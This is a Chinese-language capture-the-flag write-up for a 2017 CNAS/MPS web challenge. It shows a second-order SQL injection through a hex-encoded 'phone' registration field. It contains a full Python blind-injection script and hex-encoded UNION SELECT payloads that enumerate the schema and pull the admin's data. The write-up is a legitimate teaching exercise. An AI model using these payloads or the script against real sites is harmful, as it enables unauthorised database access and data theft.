从github上找到了2017年的题目资料,包含部分writeup,地址 https://github.com/30000ft/CTF_CNAS_2017。
CNAS/MPS CTF 2017: Malicious Code Protection
Points: 200
安全主管部门告诉你这个网站的phone参数有问题,但具体什么问题没说,请根据你丰富的经验找到该网站的漏洞并复现。
Write-up
首先检查了基本的username和password注入可行性,失败。
然后根据题目提示检查了phone参数,实际上并没有长度限制,maxlength
是前端的限制。
尝试了一下phone为非数字字符,提示必须为数字。试了一下phone=.1
,注册成功,估计后台校验用的是is_numeric
。于是再试了一下`phone=0x61626364',注册成功并且登录后提示phone为abcd,但是在check有多少相同的phone的时候却出现了db error!的提示。
思考了一会儿,猜测后台逻辑是直接INSERT INTO table VALUES ('$username', '$password', $phone)
,这之后再从数据库里SELECT出phone存储到php的$_SESSION
中,最后检查多少phone相同的时候直接用$_SESSION
中的phone拼接到SQL语句中,于是就有SELECT COUNT(*) FROM table WHERE phone=$_SESSION[phone]
这样的语句。这样,当我注册phone为0x61626364的时候数据库中由于不存在abcd字段名就报错了。
剩下就清晰了,不过由于没有其它回显,只有提示多少电话号码相同的一个回显,就只能盲注。通过不停注册帐号来爆破admin的phone,写了个python脚本。
import requests from binascii import unhexlify, hexlify import re from random import shuffle error = '<!DOCTYPE html>\n<html>\n<head>\n\t<title>Check</title>\n</head>\n<body>\n<div class="text" style=" text-align:center;">There only 1 people use the same phone as you</div><!-- å\x90¬è¯´adminç\x9a\x84ç\x94µè¯\x9dè\x97\x8fç\x9d\x80大ç§\x98å¯\x86å\x93¦ï½\x9e-->\n</body>\n</html>' alert = re.compile(r'alert\((.*?)\)') # charsets alnum = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYz0123456789' digit = '0123456789' payload = "{rand}||username='admin'&&ASCII(MID(phone,{offset},1))>={guess}" def randstr(charset): charset = list(charset) shuffle(charset) return ''.join(charset) def str2hex(string): return hexlify(string.encode()).decode() def register(user): url = 'http://172.16.5.155/register.php' find = alert.findall(requests.post(url, user).text) if find: raise Exception(*find) def login(user): session = requests.session() url = 'http://172.16.5.155/login.php' find = alert.findall(session.post(url, user).text) if find: raise Exception(*find) return session def check(session, user): url = 'http://172.16.5.155/check.php' resp = session.get(url).text if resp.find('db error!') != -1: raise Exception('db error!') return resp def getflag(offset): bnd = [0x20, 0x80] while bnd[0] + 1 != bnd[1]: m = bnd[0] + bnd[1] >> 1 # generate random phone number so that there will # be only 1 user (myself) have same phone number as mine. randphone = randstr(digit) user = { 'username': randstr(alnum), 'password': 'f4K3@Pa55wOrd*ha//hei-ho', 'phone': '0x' + str2hex(payload.format( rand=randphone, offset=offset, guess=m)), } register(user) session = login(user) resp = check(session, user) bnd[int(resp == error)] = m return chr(bnd[0]) if __name__ == '__main__': offset = 1 while True: # Just hit Ctrl+C manually to exit. print(getflag(offset), end='', flush=True) offset += 1
发现这道题和i春秋上的一道题一模一样,然后复现了一下。
测试发现注入方法是这样
1 union select database()
绕过转成16进制
注册填到phone字段
然后登录,check得到database为webdb
按照这个方法继续注册得到表名,字段名,和数据
#得到表名 0x7765626462 为 webdb的十六进制 1 union select table_name from information_schema.tables where table_schema = 0x7765626462 #十六进制为 0x3120756e696f6e2073656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2030783737363536323634363220 #获得表名为 user #继续获取字段名 0x75736572 为 user 的十六进制 1 union select column_name from information_schema.columns where table_name= 0x75736572 #十六进制为 0x3120756e696f6e2073656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2030783735373336353732 #获取到有用的字段名为username 和 phone #最后获取admin的phone 0x61646d696e 为 admin 的十六进制 1 union select phone from user where username = 0x61646d696e #十六进制为 0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657220776865726520757365726e616d65203d20307836313634366436393665 #获得结果 flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}
看到github上的writeup写的复杂了,不需要盲注就可以得到结果。
注意:因为phone只能填写数字,所以在注入的时候不需要加单引号,这点切记。